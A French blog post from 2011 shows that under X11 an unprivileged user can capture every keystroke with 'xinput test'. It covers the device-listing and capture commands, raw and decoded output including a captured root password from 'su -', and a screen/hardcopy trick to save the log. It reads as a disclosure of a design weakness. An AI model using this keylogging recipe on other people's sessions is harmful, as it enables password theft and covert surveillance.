Keylogger sous GNU/Linux : enregistrer les touches tapées au clavier
01 Nov 2011En tant que root, il est bien sûr potentiellement possible de faire ce que l’on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger).
Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root.
Démonstration
Et en plus, c’est tout simple : il suffit pour un programme d’écouter les
événements clavier envoyés par le serveur X. Prenons un outil qui le fait
déjà (ça nous évitera de le coder), xinput
:
sudo apt-get install xinput
Pour obtenir la liste des périphériques utilisables :
xinput list
Repérer la ligne concernant le clavier (contenant « AT
») et noter son id (ici 11
).
$ xinput list | grep AT
↳ AT Translated Set 2 keyboard id=11 [slave keyboard (3)]
Puis démarrer l’écoute sur ce périphérique dans un terminal :
xinput test 11
Au fur et à mesure que l’on tape du texte, la sortie standard de xinput
indique quelles touches sont tapées :
key press 56
key release 56
key press 32
key release 32
key press 57
key release 57
key press 44
key release 44
key press 32
key press 30
key release 32
key release 30
key press 27
key release 27
Cela fonctionne même lorsqu’on écrit dans une autre application, quelque soit l’utilisateur qui l’a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé :
$ su -
Mot de passe :
Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l’enregistrer, l’envoyer à un serveur…).
Décodage
Convertisseur
La sortie de xinput
n’est pas très utilisable en pratique. Pour la décoder, un
programme d’une vingtaine de lignes en Python suffit (fortement inspiré de ce
PoC). Appelons-le xinput-decoder.py
:
Pour convertir le résultat à la volée :
xinput test 11 | ./xinput-decoder.py
Problème de redirection
Le problème, c’est que lorsqu’on redirige la sortie de xinput
dans un fichier
ou en entrée d’un autre programme, le contenu ne s’affiche que par salves
(d’environ 128 caractères apparemment). Sans doute une histoire de buffer, à
mon avis activé uniquement lorsque la fonction isatty()
retourne
true.
http://www.kernel.org/doc/man-pages/online/pages/man3/isatty.3.html
Pour contourner le problème et récupérer les dernières touches tapées, il est
possible de démarrer la commande dans un screen
:
screen xinput test 11
puis, à la fin de la capture, d’enregistrer le contenu dans un fichier. Pour
cela, dans le screen
ainsi ouvert, taper Ctrl+A
, :
, puis hardcopy -h
/tmp/log
. De cette manière, /tmp/log
contiendra toute la capture.
Pour convertir le résultat :
$ ./xinput-parser.py < /tmp/log
s u space minus Return p a s s w o r d Return a p t minus g e t space u p d a t e Return Control_L a colon
Améliorations
Une solution plus pratique serait peut-être de démarrer xinput
par le
programme Python, en lui faisant croire qu’il écrit dans un TTY (ce que je
ne sais pas faire). Quelqu’un l’a fait en
Perl.
Il faudrait également prendre en compte le relâchement des touches dans le
décodeur, car lorsqu’il affiche Shift_L a b
, nous n’avons aucun moyen de
savoir si la touche Shift
a été relâchée avant le a
, entre le a
et le b
,
ou après le b
.
Liens
Merci à Papillon-butineur de m’avoir fait découvrir ce fonctionnement étonnant du serveur X.
Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires : The Linux Security Circus: On GUI isolation.
EDIT : En 2016, tuxicoman a proposé une implémentation en C++.
Ca craint quand même . surtout pour le mot de passe root. faudrait peut etre que X11 gère ce que je considererai comme une faille.